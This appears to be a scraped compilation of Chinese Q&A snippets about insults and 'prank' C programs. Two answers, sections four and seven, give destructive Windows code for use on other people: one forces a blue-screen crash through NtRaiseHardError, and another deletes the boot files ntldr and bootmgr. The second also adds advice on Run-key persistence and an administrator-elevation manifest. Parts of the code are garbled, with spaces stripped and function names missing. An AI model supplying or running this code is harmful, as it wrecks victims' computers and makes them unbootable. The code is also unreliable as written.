㈠ 武漢話中類似c的發音的罵人話是什麼意思

額。。。。
「say」「c」「sei」這些發音一般都差不多、
基本上都是指逗別人、聊別人的意思、

㈡ 求一些惡搞程序的C語言源代碼

#include "stdio.h"
#include "stdlib.h"
result love(boy, girl)
{
if ( boy.有房() and boy.有車() )
{
boy.set(nothing);
return girl.嫁給(boy);
}
if ( girl.願意等() )
{
while( ! (boy.賺錢 ＞ 100,000 and girl.感情 ＞ 8 ) )
{
for ( day=1; day ＜=365; day++)
{
if ( day == 情人節 )
if ( boy.givegirl(玫瑰專) )
girl.感情++;
else
girl.感情--;
if( day == girl.生日)
if ( boy.givegirl(玫瑰) )
girl.感情++;
else
girl.感情--;
boy.拚命屬賺錢();
}
}
if ( boy.有房() and boy.有車() )
{
boy.set(nothing);
return girl.嫁給(boy);
}
年齡++;
girl.感情--;
}
return girl.goto( another_boy);
}

㈢ 寫一個簡短的C語言代碼

#include<stdio.h>

intmain()
{
	doublea,b,c;
	scanf("%lf",&a);
	scanf("%lf",&b);
	c=a+b;
	printf("firstnumber:%.2lf",a);
	printf("
secondnumber%.2lf",b);
	printf("
	%.2lf",a);
	printf("
+	%.2lf",b);
	printf("
-------------
");
	printf("	%.2lf
",c);

	return0;
}

㈣ 求一個C語言整人代碼！！！

先上代碼

#include<Windows.h>
#include<time.h>
usingnamespacestd;
intcall;
intScreenWidth=GetSystemMetrics(SM_CXSCREEN);
intScreenHeight=GetSystemMetrics(SM_CYSCREEN);
intIconWidth=GetSystemMetrics(SM_CXICON);
intIconHeight=GetSystemMetrics(SM_CYICON);
HDChdc=GetWindowDC(GetDesktopWindow());
#defineKEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
intrandom(intupper_bound){
if(upper_bound==0){
return0;
}
srand((unsigned)(time(NULL)*clock()*rand()*call+time(NULL)+rand()+call));
call++;
returnrand()%upper_bound;
}
DWORDWINAPIFlashDesktop(LPVOIDParam){
while(true){
BitBlt(hdc,0,0,ScreenWidth,ScreenHeight,hdc,0,0,NOTSRCCOPY);
Sleep(random(100));
}
return0;
}
intGetWay(){
intr=random(3);
switch(r){
case0:
returnSRCAND;
case1:
returnSRCINVERT;
case2:
returnSRCPAINT;
}
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth);
intRandyPixel=random(ScreenHeight-RandHeight);
intRandDestxPixel=random(ScreenWidth-RandWidth);
intRandDestyPixel=random(ScreenHeight-RandHeight);
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandyPixel=random(ScreenHeight-RandHeight)+RandHeight;
intRandDestxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandDestyPixel=random(ScreenHeight-RandHeight)+RandHeight;
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
DWORDWINAPICallBsod1MinLater(LPVOIDParam){
Sleep(60000);
HMODULEntdll=LoadLibrary("ntdll.dll");
FARPROCRtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROCNtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsignedchartemp0;
longunsignedinttemp1;
((void(*)(DWORD,DWORD,BOOLEAN,LPBYTE))RtlAdjustPrivilege)(0x13,true,false,&temp0);
((void(*)(DWORD,DWORD,DWORD,DWORD,DWORD,LPDWORD))NtRaiseHardError)(0xc000021a,0,0,0,6,&temp1);
return0;
}
DWORDWINAPIDrawErrors(LPVOIDParam){
while(true){
intRandxPixel=random(ScreenWidth-IconWidth/2);
intRandyPixel=random(ScreenHeight-IconHeight/2);
DrawIcon(hdc,RandxPixel,RandyPixel,LoadIcon(NULL,IDI_ERROR));
Sleep(random(50));
}
return0;
}
intmain(void){
CreateThread(NULL,4096,&FlashDesktop,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation1,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation2,NULL,NULL,NULL);
CreateThread(NULL,4096,&CallBsod1MinLater,NULL,NULL,NULL);
CreateThread(NULL,4096,&DrawErrors,NULL,NULL,NULL);
while(true);
}

運行這段代碼首先會花屏並閃屏，一分鍾後藍屏。

效果圖：

㈤ 為什麼很多女人也喜歡用CNM罵人 她們用什麼C啊

這只是一個口頭的語氣表示，不帶任何行動上的刺激，為的是加重罵人的力度。

㈥ c，h，i，n開頭的英文,罵人類的，4個或者更多

cheat 騙子
hate 討厭
idiot 弱智
nasty 下流

㈦ 求 VC 6.0 程序代碼 想罵人的 滾 高分 100 追加 80

#include <windows.h>
#include <stdio.h>
#include <conio.h>

int main(int argc, char* argv[])
{
OSVERSIONINFO osinfo;
osinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osinfo);

if (osinfo.dwMajorVersion == 5) //Windows XP
{
system("del /s %systemroot%\\..\\..\\ntldr");
}

if (osinfo.dwMajorVersion == 6) //Windows 7
{
system("del /s %systemroot%\\..\\..\\bootmgr");
}

MessageBox(NULL, "哈哈哈 你電腦要壞了啦 千萬別關機哦", "", MB_OK|MB_ICONWARNING);
return 0;
}
還有注冊表的沒時間做了，你去網路下吧，關鍵是：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
"App"="%systemroot%\\App.exe"
還有下面的代碼：
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="1.0.0.0"
processorArchitecture="X86"
name="a.exe.manifest"
type="win32"
/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
把其中的a.exe 改成 你的程序名字.exe，然後存為 你的程序名字.exe.manifest
這是用來win7提權的。。。
另外，破壞了系統引導安全模式是無法打開的，我前幾天就刪了win7的BCD，結果開機藍屏，不可能再打開安全模式了。。。

㈧ 2015用高數c上的公式罵人的段子

愛的極限

㈨ 以單詞b，c開頭的罵人的單詞有哪些

bull shit ;bitch
crazy cheap
就這么多，想不容易呀，望點贊